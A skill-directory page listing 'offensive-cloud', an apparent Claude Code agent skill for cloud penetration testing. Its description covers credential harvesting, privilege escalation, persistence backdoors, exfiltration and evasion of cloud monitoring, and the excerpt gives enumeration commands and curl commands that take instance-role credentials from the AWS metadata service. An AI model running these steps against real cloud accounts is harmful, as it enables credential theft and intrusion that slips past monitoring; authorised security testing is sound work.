Tooluck logoTooluck
SKILL.md

offensive-cloud

Agent skill fromSnailSploit/Claude-Red

Cloud security attack methodology covering AWS, Azure, and GCP. Includes credential harvesting (IMDS, ~/.aws, env vars, leaked CI secrets, instance roles), enumeration with cloud-specific tools (pacu, ScoutSuite, Prowler, ROADtools, gcp_enum), privilege escalation paths (IAM PassRole, AssumeRole chains, Lambda/Functions privilege flips, Azure Owner-on-self, GCP serviceAccountTokenCreator), persistence techniques (IAM user/key creation, AAD app registration, GCP svc account key creation, EventBridge/Logic Apps backdoors), data exfiltration (S3/Blob/GCS, snapshot share, RDS/CosmosDB/Cloud SQL exfil), cloud-native lateral movement (cross-account assume, Azure AD multi-tenant, GCP project hierarchy), serverless attacks (Lambda env vars, layer hijack, Step Functions), Kubernetes-on-cloud (EKS/AKS/GKE-specific paths to node and AWS metadata), and CSPM evasion (CloudTrail blind spots, GuardDuty mute, Sentinel rule shaping). Use when the engagement scope is cloud accounts, when you've stolen c

How to install offensive-cloud

install offensive-cloud
# install the Claude-Red pack with the skills CLI
npx skills add SnailSploit/Claude-Red

# or add only this skill to Claude Code: copy the folder

Skills/cloud/offensive-cloud/

# into

~/.claude/skills/offensive-cloud/ (all projects)

.claude/skills/offensive-cloud/ (one project)

Skills/cloud/offensive-cloud/SKILL.md

MITFull file
1# Cloud (AWS / Azure / GCP) — Offensive Testing Methodology
2
3## Quick Workflow
4
51. Identify the cloud and the identity context you have (user, role, service account, instance role)
62. Enumerate without writes — `aws sts get-caller-identity`, `az account show`, `gcloud auth list`
73. Map permissions to known privilege-escalation primitives (PassRole, Owner, etc.)
84. Find the data and the persistence anchors before alarms fire
95. Document the kill chain with timestamps, identities, and resources for the report
10
11---
12
13## AWS
14
15### Identity Discovery
16
17```bash
18aws sts get-caller-identity
19aws iam list-attached-user-policies --user-name $(aws sts get-caller-identity --query Arn --output text | awk -F/ '{print $NF}')
20aws iam list-attached-role-policies --role-name <role>
21aws iam simulate-principal-policy --policy-source-arn $(aws sts get-caller-identity --query Arn --output text) \
22 --action-names "*"
23```
24
25### IMDS Credential Theft
26
27```bash
28# IMDSv1 (legacy)
29curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>
30
31# IMDSv2 (modern, requires token)
32TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
33 -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
34curl -H "X-aws-ec2-metadata-token: $TOKEN" \
35 http://169.254.169.254/latest/meta-data/iam/security-credentials/
36```
37…

Excerpt shown under the repository's MIT license.

More skills in Claude-Red

Keep exploring

Similar skill repositories

thedotmack /

claude-mem
116k

Persistent Context Across Sessions for Every Agent – Captures everything your agent does during sessions, compresses it with AI, and injects relevant context back into future sessions. Works with Claude Code, OpenClaw, Codex, Gemini, Hermes, Copilot, OpenCode + More

CCCXGHGM+135 skills

Newsletter

Join the Community

Subscribe to our newsletter for the latest news and updates